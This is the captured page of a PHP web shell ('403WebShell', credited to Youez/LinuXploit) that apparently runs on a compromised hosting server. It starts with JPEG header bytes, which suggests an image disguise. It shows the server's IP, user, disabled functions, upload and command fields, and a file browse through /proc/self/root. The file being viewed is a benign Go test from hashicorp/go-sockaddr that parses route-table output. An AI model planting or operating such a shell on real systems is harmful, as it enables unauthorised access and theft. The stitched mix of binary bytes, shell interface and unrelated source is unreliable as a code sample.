JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.9  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/hashicorp/go-sockaddr@v1.0.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/hashicorp/go-sockaddr@v1.0.7/route_info_test.go
package sockaddr

import "testing"

func Test_parseBSDDefaultIfName(t *testing.T) {
	testCases := []struct {
		name     string
		routeOut string
		want     string
	}{
		{
			name: "macOS Sierra 10.12 - Common",
			routeOut: `   route to: default
destination: default
       mask: default
    gateway: 10.23.9.1
  interface: en0
      flags: <UP,GATEWAY,DONE,STATIC,PRCLONING>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1500         0 
`,
			want: "en0",
		},
	}

	for _, tc := range testCases {
		t.Run(tc.name, func(t *testing.T) {
			got, err := parseDefaultIfNameFromRoute(tc.routeOut)
			if err != nil {
				t.Fatalf("unable to parse default interface from route output: %v", err)
			}

			if got != tc.want {
				t.Errorf("got %s; want %s", got, tc.want)
			}
		})
	}
}

func Test_parseLinuxDefaultIfName(t *testing.T) {
	testCases := []struct {
		name     string
		routeOut string
		want     string
	}{
		{
			name: "Linux Ubuntu 14.04 - Common",
			routeOut: `default via 10.1.2.1 dev eth0 
10.1.2.0/24 dev eth0  proto kernel  scope link  src 10.1.2.5 
`,
			want: "eth0",
		},
		{
			name: "Chromebook - 8743.85.0 (Official Build) stable-channel gandof, Milestone 54",
			routeOut: `default via 192.168.1.1 dev wlan0  metric 1 
192.168.1.0/24 dev wlan0  proto kernel  scope link  src 192.168.1.174 
`,
			want: "wlan0",
		},
	}

	for _, tc := range testCases {
		t.Run(tc.name, func(t *testing.T) {
			got, err := parseDefaultIfNameFromIPCmd(tc.routeOut)
			if err != nil {
				t.Fatalf("unable to parse default interface from route output: %v", err)
			}

			if got != tc.want {
				t.Errorf("got %+q; want %+q", got, tc.want)
			}
		})
	}
}

func Test_parseWindowsDefaultIfName(t *testing.T) {
	testCases := []struct {
		name        string
		routeOut    string
		ipconfigOut string
		want        string
	}{
		{
			name: "Windows 10 - Enterprise",
			routeOut: `===========================================================================
Interface List
 10...08 00 27 a2 e9 51 ......Intel(R) PRO/1000 MT Desktop Adapter
 13...08 00 27 35 02 ed ......Intel(R) PRO/1000 MT Desktop Adapter #2
  1...........................Software Loopback Interface 1
  5...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
  8...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0         10.0.2.2        10.0.2.15     25
         10.0.2.0    255.255.255.0         On-link         10.0.2.15    281
        10.0.2.15  255.255.255.255         On-link         10.0.2.15    281
       10.0.2.255  255.255.255.255         On-link         10.0.2.15    281
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    331
     192.168.56.0    255.255.255.0         On-link    192.168.56.100    281
   192.168.56.100  255.255.255.255         On-link    192.168.56.100    281
   192.168.56.255  255.255.255.255         On-link    192.168.56.100    281
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link    192.168.56.100    281
        224.0.0.0        240.0.0.0         On-link         10.0.2.15    281
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255         On-link    192.168.56.100    281
  255.255.255.255  255.255.255.255         On-link         10.0.2.15    281
===========================================================================
Persistent Routes:
  None

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  1    331 ::1/128                  On-link
 13    281 fe80::/64                On-link
 10    281 fe80::/64                On-link
 13    281 fe80::60cc:155f:77a4:ab99/128
                                    On-link
 10    281 fe80::cccc:710e:f5bb:3088/128
                                    On-link
  1    331 ff00::/8                 On-link
 13    281 ff00::/8                 On-link
 10    281 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None
`,
			ipconfigOut: `Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : host.example.org
   Link-local IPv6 Address . . . . . : fe80::cccc:710e:f5bb:3088%10
   IPv4 Address. . . . . . . . . . . : 10.0.2.15
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.2.2

Ethernet adapter Ethernet 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::60cc:155f:77a4:ab99%13
   IPv4 Address. . . . . . . . . . . : 192.168.56.100
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 

Tunnel adapter isatap.host.example.org:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

Tunnel adapter Reusable ISATAP Interface {F3F2E4A5-8823-40E5-87EA-1F6881BACC95}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : host.example.org
`,
			want: "Ethernet",
		},
	}

	for _, tc := range testCases {
		t.Run(tc.name, func(t *testing.T) {
			got, err := parseDefaultIfNameWindows(tc.routeOut, tc.ipconfigOut)
			if err != nil {
				t.Fatalf("unable to parse default interface from route output: %v", err)
			}

			if got != tc.want {
				t.Errorf("got %s; want %s", got, tc.want)
			}
		})
	}
}

func Test_VisitComands(t *testing.T) {
	ri, err := NewRouteInfo()
	if err != nil {
		t.Fatalf("bad: %v", err)
	}

	var count int
	ri.VisitCommands(func(name string, cmd []string) {
		count++
	})
	if count == 0 {
		t.Fatalf("Expected more than 0 items")
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit